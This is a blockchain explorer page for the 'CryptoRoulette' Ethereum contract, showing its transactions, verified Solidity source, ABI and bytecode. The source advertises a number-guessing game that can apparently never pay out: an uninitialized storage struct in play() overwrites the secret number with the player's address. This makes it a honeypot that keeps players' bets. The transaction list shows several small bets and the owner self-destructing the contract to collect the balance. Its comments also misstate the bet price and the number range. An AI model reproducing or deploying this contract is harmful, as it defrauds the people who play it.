Contract 0x8685631276cfcf17a973d92f6dc11645e5158c0c

 

TxHash Block Age From To Value [TxFee]
0xdfeae8403db96572ebb3c9e90938af03ba243b8d99220fecdd8e1890288043265617197283 days 3 hrs ago0x1a39b804fa0a8dff36b3a69d95c4e68022ab88c1 IN  0x8685631276cfcf17a973d92f6dc11645e5158c0c0 Ether0.000107736
0xb8dbec1b7c5c72291889f20ea23fc875daad3653f76023c8290ddf9de6a126905612926283 days 20 hrs ago0x82d5114528b1700f862e5692f9ce7b382f2947cd IN  0x8685631276cfcf17a973d92f6dc11645e5158c0c0.001 Ether0.000984904562
0x4803bc1dac4a0dbf1a937fc846918cd5ac3a1f40c7d5650446576bd4ed220c905612811283 days 21 hrs ago0x82d5114528b1700f862e5692f9ce7b382f2947cd IN  0x8685631276cfcf17a973d92f6dc11645e5158c0c0.001 Ether0.00083555
0xc00e066707c0cf0c00a640187d49b70301638eb3ea8c0b06fd9d41efe81070995612067284 days 35 mins ago0x82d5114528b1700f862e5692f9ce7b382f2947cd IN  0x8685631276cfcf17a973d92f6dc11645e5158c0c0.001 Ether0.00100266
0x6a6f10ec9df33551fbd46340c35821743a7097221b2d83efef04a9545d1805995611935284 days 1 hr ago0x1a39b804fa0a8dff36b3a69d95c4e68022ab88c1 IN  0x8685631276cfcf17a973d92f6dc11645e5158c0c0.001 Ether0.00083555
0xe38f12801b15294ae4f7e8ace048dd42fb2d391b86259343d9726197b518d3175611683284 days 2 hrs ago0x1a39b804fa0a8dff36b3a69d95c4e68022ab88c1 IN  0x8685631276cfcf17a973d92f6dc11645e5158c0c0.001 Ether0.00113555
0x60fa375a419bfd73bf9b0e725a054348b16084e2fdc2d8e224f98aebe1612b1d5611515284 days 3 hrs ago0x1a39b804fa0a8dff36b3a69d95c4e68022ab88c1 IN  0x8685631276cfcf17a973d92f6dc11645e5158c0c0.01 Ether0.0002104
0x0976101a009ba8f14a0fc5e634ba1a1419103dbf104999c201849cf91a1f4bc55611511284 days 3 hrs ago0x1a39b804fa0a8dff36b3a69d95c4e68022ab88c1 IN  Contract Creation0 Ether0.0042814
[ Download CSV Export 

Latest 3 Internal Transactions Internal Transactions as a result of Contract Execution

Parent TxHash Block Age From To Value
0xdfeae8403db96572ebb3c9e90938af03ba243b8d99220fecdd8e1890288043265617197283 days 3 hrs ago0x8685631276cfcf17a973d92f6dc11645e5158c0c0x1a39b804fa0a8dff36b3a69d95c4e68022ab88c10.015 Ether
0x7839e380bcef1f6b776010e1c3002a459564a50e196426346db4104417cde0545611650284 days 2 hrs ago0x16504ea42ffd2bd962108c2ea7cc4fb70106d8a80x8685631276cfcf17a973d92f6dc11645e5158c0c0.001 Ether
0x5ba6d5be72cfdfed9cb39fc78dd91df19d23d9a149b9e7486137b301d751ab075611537284 days 3 hrs ago0x16504ea42ffd2bd962108c2ea7cc4fb70106d8a80x8685631276cfcf17a973d92f6dc11645e5158c0c0.001 Ether
[ Download CSV Export 
Contract Self Destruct called at TxHash 0xdfeae8403db96572ebb3c9e90938af03ba243b8d99220fecdd8e189028804326

Warning: The compiled contract might be susceptible to ExpExponentCleanup (medium/high-severity), EventStructWrongData (very low-severity) Solidity Compiler Bugs.

Contract Source Code Verified (Exact Match)
Contract Name: CryptoRoulette
Compiler Version: v0.4.23+commit.124ca40d
Optimization Enabled: No
Runs (Optimizer):  200


Contract Source Code
pragma solidity ^0.4.23;

// CryptoRoulette
//
// Guess the number secretly stored in the blockchain and win the whole contract balance!
// A new number is randomly chosen after each try.
//
// To play, call the play() method with the guessed number (1-16).  Bet price: 0.2 ether

contract CryptoRoulette {

    uint256 private secretNumber;
    uint256 public lastPlayed;
    uint256 public betPrice = 0.001 ether;
    address public ownerAddr;

    struct Game {
        address player;
        uint256 number;
    }
    Game[] public gamesPlayed;

    constructor() public {
        ownerAddr = msg.sender;
        shuffle();
    }

    function shuffle() internal {
        // randomly set secretNumber with a value between 1 and 10
        secretNumber = 6;
    }

    function play(uint256 number) payable public {
        require(msg.value >= betPrice && number <= 10);

        Game game;
        game.player = msg.sender;
        game.number = number;
        gamesPlayed.push(game);

        if (number == secretNumber) {
            // win!
            msg.sender.transfer(this.balance);
        }

        //shuffle();
        lastPlayed = now;
    }

    function kill() public {
        if (msg.sender == ownerAddr && now > lastPlayed + 6 hours) {
            suicide(msg.sender);
        }
    }

    function() public payable { }
}

Contract ABI
[{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"gamesPlayed","outputs":[{"name":"player","type":"address"},{"name":"number","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"kill","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"number","type":"uint256"}],"name":"play","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"ownerAddr","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lastPlayed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"betPrice","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

Contract Creation Code
608060405266038d7ea4c6800060025534801561001b57600080fd5b5033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610074610079640100000000026401000000009004565b610083565b6006600081905550565b610487806100926000396000f300608060405260043610610078576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063382cf0a61461007a57806341c0e1b5146100ee5780636898f82b146101055780639c675eaa14610125578063c53391321461017c578063cfd8a175146101a7575b005b34801561008657600080fd5b506100a5600480360381019080803590602001909291905050506101d2565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390f35b3480156100fa57600080fd5b50610103610225565b005b610123600480360381019080803590602001909291905050506102a7565b005b34801561013157600080fd5b5061013a610429565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561018857600080fd5b5061019161044f565b6040518082815260200191505060405180910390f35b3480156101b357600080fd5b506101bc610455565b6040518082815260200191505060405180910390f35b6004818154811015156101e157fe5b90600052602060002090600202016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154905082565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561028757506154606001540142115b156102a5573373ffffffffffffffffffffffffffffffffffffffff16ff5b565b600060025434101580156102bc5750600a8211155b15156102c757600080fd5b338160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818160010181905550600481908060018154018082558091505090600182039060005260206000209060020201600090919290919091506000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001820154816001015550505060005482141561041e573373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015801561041c573d6000803e3d6000fd5b505b426001819055505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b600254815600a165627a7a723058203c2798d35540f7949487d14a7b41c458accc2eb8b17cdfe4f8e812563f35d91b0029


   Swarm Source:
bzzr://3c2798d35540f7949487d14a7b41c458accc2eb8b17cdfe4f8e812563f35d91b
Block Age transaction Difficulty GasUsed Reward
Block Age Uncle Number Difficulty GasUsed Reward
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.